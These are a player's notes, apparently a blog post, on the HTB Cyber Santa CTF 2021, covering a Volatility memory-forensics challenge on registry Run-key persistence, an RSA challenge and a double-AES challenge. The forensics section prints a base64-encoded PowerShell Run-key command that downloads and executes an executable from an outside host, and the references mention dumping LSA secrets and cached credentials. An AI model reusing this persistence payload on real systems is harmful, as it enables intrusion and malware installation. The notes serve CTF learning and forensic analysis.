Credits to the numerous other walkthroughs posted by other players of the HTB Cyber Santa CTF 2021, these are just notes I compiled for future referencing and for revision
Here are my recorded theory learnings and notes taken when I attempted to do the challenge again after the event.
- Pre Challenge Learnings
The clue is in the name, persistence. Googling this and malicious actors gives us the following information:
Define :
Persistence is an overall tactic that adversaries, malware, and tools will use to ensure they keep access to systems across events that might interrupt access. Some examples of events that may interrupt access are shutdowns and restarts, file deletion, or credential changes. Persistence may also be used as a means of “cleaning up” the evidence that a malware payload was ever even there.
Common techniques:
1. Registry run keys
2. Startup folder
Registry run keys are very specific keys in the Windows registry that are invoked during system start up.
These keys allow specific settings or configurations to be loaded automatically. In addition, registry run keys can also point directly at executable files, allowing specific programs (and DLL files) to be executed at start up.
Similarly, the startup folder corresponds to a series of registry keys that will execute files in specific locations on start up.
Persistence, when talking about technique T1547.001, is the modification of specific registry keys and values in order to have an executable, command, or script run every time the system is rebooted.
Most Common targets:
While there are several registry keys that can be used, the most commonly abused are the default keys on a Windows system, specifically:
- Sysinternals for manual hunting across registries + cross ref with virustotals to flag viruses
- HTB Challenge
Given : Data File
The below code block shows the numerous steps taken to solve the challenge :
┌──(kali㉿kali)-[/mnt/…/HTB Cybersanta CTF/HTB Cyber Santa CTF_Dec2021/FORENSICS/forensics_persist]
└─$ exiftool persist.raw
ExifTool Version Number : 12.32
File Name : persist.raw
Directory : .
File Size : 1024 MiB
File Modification Date/Time : 2021:12:09 11:33:56+08:00
File Access Date/Time : 2021:12:09 11:33:56+08:00
File Inode Change Date/Time : 2021:12:09 11:33:56+08:00
File Permissions : -rwxrwxrwx
Error : First 4.0 KiB of file is binary zeros
//copy it to volatility working directory
cp persist.raw /home/kali/Desktop/tools/volatility/
┌──(kali㉿kali)-[~/Desktop/tools/volatility]
└─$ python vol.py -f persist.raw imageinfo
Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/kali/Desktop/tools/volatility/persist.raw)
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82977c68L
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x82978d00L
KUSER_SHARED_DATA : 0xffdf0000L
Image date and time : 2021-11-30 22:05:35 UTC+0000
Image local date and time : 2021-11-30 14:05:35 -0800
//LIST THE HIVES
┌──(kali㉿kali)-[~/Desktop/tools/volatility]
└─$ python vol.py --profile=Win7SP1x86_23418 -f persist.raw hivelist
Virtual Physical Name
---------- ---------- ----
0xa5a289c8 0x04abd9c8 \??\C:\Users\Santa\ntuser.dat
0xa7a73008 0x0fd97008 \??\C:\Users\sshd_server\ntuser.dat
0xa7a7a188 0x17265188 \??\C:\Users\sshd_server\AppData\Local\Microsoft\Windows\UsrClass.dat
0x87a10370 0x280d0370 [no name]
0x87a1c008 0x2815e008 \REGISTRY\MACHINE\SYSTEM
0x87a459c8 0x281299c8 \REGISTRY\MACHINE\HARDWARE
0x88be09c8 0x1f44e9c8 \Device\HarddiskVolume1\Boot\BCD
0x8e6ac008 0x223a4008 \SystemRoot\System32\Config\SOFTWARE
0x962689c8 0x1b4f19c8 \SystemRoot\System32\Config\DEFAULT
0xa16ec9c8 0x26e1c9c8 \SystemRoot\System32\Config\SECURITY
0xa17479c8 0x1dd759c8 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xa1d09008 0x19088008 \SystemRoot\System32\Config\SAM
0xa1dce9c8 0x313659c8 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xa21aa008 0x1350a008 \??\C:\Users\IEUser\ntuser.dat
0xa2a0a008 0x001b4008 \??\C:\Users\IEUser\AppData\Local\Microsoft\Windows\UsrClass.dat
0xa5a28008 0x04abd008 \??\C:\Users\Santa\AppData\Local\Microsoft\Windows\UsrClass.dat
//PRINT KEYS FOR THE COMMONLY TARGET RESGITRIES - we scan the above listed targets and
only this turns out a sus result (base64 encoded)
//
┌──(kali㉿kali)-[~/Desktop/tools/volatility]
└─$ python vol.py --profile=Win7SP1x86_23418 -f persist.raw printkey -K "Software\Microsoft\Windows\CurrentVersion\Run"
----------------------------
Registry: \??\C:\Users\Santa\ntuser.dat
Key name: Run (S)
Last updated: 2021-11-30 22:04:29 UTC+0000
Subkeys:
(S) cmFuZG9tCg
Values:
REG_SZ cmFuZG9tCg : (S) C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -enc JABQAGEAdABoACAAPQAgACcAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAdwBpAG4AZABvAHcAcwBcAHcAaQBuAC4AZQB4AGUAJwA7AGkAZgAgACgALQBOAE8AVAAoAFQAZQBzAHQALQBQAGEAdABoACAALQBQAGEAdABoACAAJABQAGEAdABoACAALQBQAGEAdABoAFQAeQBwAGUAIABMAGUAYQBmACkAKQB7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAFAAYQB0AGgAfQBlAGwAcwBlAHsAbQBrAGQAaQByACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAB3AGkAbgBkAG8AdwBzACcAOwAkAGYAbABhAGcAIAA9ACAAIgBIAFQAQgB7AFQAaAAzAHMAMwBfADMAbAB2ADMAcwBfADQAcgAzAF8AcgAzADQAbABsAHkAXwBtADQAbAAxAGMAMQAwAHUAcwB9ACIAOwBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAiAGgAdAB0AHAAcwA6AC8ALwB3AGkAbgBkAG8AdwBzAGwAaQB2AGUAdQBwAGQAYQB0AGUAcgAuAGMAbwBtAC8AdwBpAG4ALgBlAHgAZQAiACwAJABQAGEAdABoACkAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABQAGEAdABoAH0AJQA=
//FINALLY, echo " encrypted string" | base64 -d to get flag
- The final Result
- Volatility Command References for our purpose - analysing registry for threat persistence :
Crypto Day 3 : Missing Reindeer
One of the problems faced here was the zsh killing of RsaCtfTool, which can be solved by increasing the amount of RAM for Kali to 10GB for encryption to run.
Given : Email with public key and encrypted text
Hello Mr Jingles,
We got the reindeer as you requested. There is a problem though. Its nose is so red and bright and makes it very hard to hide him anywhere near north pole. We have moved to a secret location far away. I have encrypted this information with your public key in case you know who is watching.
The steps below are taken to crack the challenge :
┌──(kali㉿kali)-[~/Desktop/tools/RsaCtfTool]
└─$ ./RsaCtfTool.py --dumpkey --publickey reindeer_key.pub 2 ⨯
private argument is not set, the private key will not be displayed, even if recovered.
Details for reindeer_key.pub:
n: 29052360453120059177701146498207729611014362120841772147885284668310294675407700581246333337318872050600353022438909391852076208405990507154764842795064455368228014381969783955360165426546947312973195061115837228105648770122442650123819968683831588775039837617788817831554836487051931001049480790287468125246758818911220414888048673899462271009956700067150701189256017793349102117503912782889345559816174845605183913828898737756645848010661322897081850561427949550036638510279173557403134806365178654334553002357480355906235714208451535185647256346503450896572487047615057007598805977277186223884121839444217172432487
e: 3
┌──(kali㉿kali)-[~/Desktop/tools/RsaCtfTool]
└─$ ./RsaCtfTool.py --publickey reindeer_key.pub --uncipherfile reindeer_location.enc --private
...
[*] Performing brent attack on reindeer_key.pub.
[!] Timeout.
[*] Performing neca attack on reindeer_key.pub.
Can't load neca because neca binary is not installed
[*] Performing binary_polinomial_factoring attack on reindeer_key.pub.
Can't load binary_polinomial_factoring because sage binary is not installed
Results for reindeer_key.pub:
Sorry, cracking failed.
Unciphered data :
HEX : 0xa415e596f3e4a21c25003081894a080532af6ba4739145593a9695f886b146e5b865b3c46fd2c14cc19059d8a3491018ff10fe4d02bfad9cceee6735c2844e87f10ada2593acb6988315f2e760a65b15fea3b781937af3651fdedae68e1210c4ed3602d0d1bc94e1f054ad
INT (big endian) : 307968727924643589446817054356670587947811738257755826328391346771555909495309166997072951847162296442948717292181103911669692516081555431892296155634695866133360083497101472628760457860959909333788155352877056162451321677649740405158218026991156435780392109
INT (little endian) : 325322852408515827924680177664573471113206438368894095154748946216388495533407429128074259190964109468771287894216654896504526078759213214576415893088320551628507634445347416332262568586203743010212094388519639262170697695732520271131614082510566363490489764
STR : b'\xa4\x15\xe5\x96\xf3\xe4\xa2\x1c%\x000\x81\x89J\x08\x052\xafk\xa4s\x91EY:\x96\x95\xf8\x86\xb1F\xe5\xb8e\xb3\xc4o\xd2\xc1L\xc1\x90Y\xd8\xa3I\x10\x18\xff\x10\xfeM\x02\xbf\xad\x9c\xce\xeeg5\xc2\x84N\x87\xf1\n\xda%\x93\xac\xb6\x98\x83\x15\xf2\xe7`\xa6[\x15\xfe\xa3\xb7\x81\x93z\xf3e\x1f\xde\xda\xe6\x8e\x12\x10\xc4\xed6\x02\xd0\xd1\xbc\x94\xe1\xf0T\xad'
- RsaCtfTool.py Command References
--dumpkey : Just dump the RSA variables from a key - n,e,d,p,q
--pubickey : The public key input
--private : enable recovery of private key
- Some good writeups to learn RSA challenges
Crypto Day 4 : Meet Me Halfway
Given : The following encryption python script
from random import randint
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import json
flag = b'HTB{dummyflag}'
def gen_key(option=0):
alphabet = b'0123456789abcdef' #16 bytes with the characters (hex values)
const = b'cyb3rXm45!@#' # 12 byte password
key = b''
# range = 16 - 12 = 4
for i in range(16-len(const)):
# append a randome char from alphabet to the key
key += bytes([alphabet[randint(0,15)]])
if option:
return key + const # key 2 = 4 random bytes + const
else:
return const + key # key 1 = const + 4 random bytes
# Simply double AES - google for vulnerabilites
def encrypt(data, key1, key2):
cipher = AES.new(key1, mode=AES.MODE_ECB) # Encrypt with key 1
ct = cipher.encrypt(pad(data, 16)) # padded to 16 bytes
cipher = AES.new(key2, mode=AES.MODE_ECB) # Encrypt with key 2
ct = cipher.encrypt(ct) # encrypt the key 1 encrypted text with key 2
return ct.hex()
# generates two keys
def challenge(): #keys unkown to everyone but evil elves, but encryption algo is vulnerable
k1 = gen_key() # no parameters parsed in, hence default to option = 0
k2 = gen_key(1) # option = 1
ct = encrypt(flag, k1, k2)
print('Super strong encryption service approved by the elves X-MAS spirit.\n'+\
'Message for all the elves:\n' +ct + '\nEncrypt your text:\n> ')
try:
dt = json.loads(input().strip()) # Takes our input as JSON
pt = bytes.fromhex(dt['pt']) # Loads plain text from 'pt' key (hex)
res = encrypt(pt, k1, k2) # Encrypt our plaintext and print ciphertext
print(res + '\n')
exit(1)
except Exception as e:
print(e)
print('Invalid payload.\n')
exit(1)
if __name__ == "__main__":
challenge()
Vulnerability of the double AES enncryption :
From
- To find the physical addresses of CMHIVEs (registry hives) in memory
- To locate the virtual addresses of registry hives in memory, and the full paths to the corresponding hive on disk
- To display the subkeys, values, data, and data types contained within a specified registry key, use the printkey command. By default, printkey will search all hives and print the key information (if found) for the requested key.
- To recursively list all subkeys in a hive, use the hivedump command and pass it the virtual address to the desired hive.
- To extract and decrypt cached domain credentials stored in the registry
- To dump LSA secrets from the registry, use the lsadump command. This exposes information such as the default password (for systems with autologin enabled), the RDP public key, and credentials used by DPAPI
This plugin parses and prints information obtained from the registry